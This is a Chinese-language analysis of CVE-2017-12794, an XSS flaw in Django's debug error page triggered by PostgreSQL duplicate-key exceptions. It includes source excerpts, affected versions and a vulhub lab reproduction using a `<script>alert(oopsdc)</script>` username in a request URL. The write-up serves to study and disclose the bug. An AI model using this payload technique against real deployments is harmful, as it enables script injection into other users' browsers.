漏洞原理

Django项目使用Postgres作为数据库,当触发异常时,psycopg会将字段名及字段值抛出,当字段值中包含可控字符串时,其最后便会在页面中进行显示。

我们可查看1.11.41.11.5版本之间django/views/templates/technical_500.html文件的差异:

xPr9RB

其差异在于外部关闭了全局转义,并在如图所示处增加了强制转义。若要触发这两个输出点,我们需要进入{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}语句,那么就需要我们判断这段代码所在的功能点,然后精准打击,图中有一串The above exception was the direct cause of the following exception:报错提示,而依据经验的话这是Django中数据库异常抛出的错误语句。

Django命令行下,当创建一个已存在的用户时,系统会因触发数据库Unique异常而抛出一个IntegrityError异常,其目的在于方便开发者进行SQL错误调试。

查看django/db/utils.py__exit__函数:

def __exit__(self, exc_type, exc_value, traceback):
    if exc_type is None:
        return
    for dj_exc_type in (
            DataError,
            OperationalError,
            IntegrityError,
            InternalError,
            ProgrammingError,
            NotSupportedError,
            DatabaseError,
            InterfaceError,
            Error,
    ):
        db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
        if issubclass(exc_type, db_exc_type):
            dj_exc_value = dj_exc_type(*exc_value.args)
            dj_exc_value.__cause__ = exc_value
            if not hasattr(exc_value, '__traceback__'):
                exc_value.__traceback__ = traceback
            # Only set the 'errors_occurred' flag for errors that may make
            # the connection unusable.
            if dj_exc_type not in (DataError, IntegrityError):
                self.wrapper.errors_occurred = True
            six.reraise(dj_exc_type, dj_exc_value, traceback)

exc_type是异常,若其类型为DataError,OperationError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,DatabaseError,InterfaceError,Error之一的话则会抛出一个同类型的新异常,并将__cause____traceback__设置为exc_valuetraceback,前者是上一个异常的说明,后者是上一个异常的回溯栈。也就是说django/db/utils.py__exit__函数将上一个异常和当前的新异常进行关联,最后在500页面输出__cause__

影响版本

Django 1.10.8之前及Django 1.11.5之前的Django 1.11.x版本。

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/django/CVE-2017-12794
docker-compose up -d
  1. 注册用户名为<script>alert(oopsdc)</script>的用户。
  2. 再次注册<script>alert(oopsdc)</script>用户。
  3. 触发duplicate key异常,触发XSS漏洞。

访问http://<ip>:8000/create_user/?username=<script>alert(oopsdc)</script>,页面回显用户创建成功:

Hello, user has been created!

再次访问http://<ip>:8000/create_user/?username=<script>alert(oopsdc)</script>,触发异常弹窗。

Postgre抛出异常为:

duplicate key value violates unique constraint "xss_user_username_key"

DETAIL:  Key (username)=(<script>alert(oopsdc)</script>) already exists.

异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception并触发XSS

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。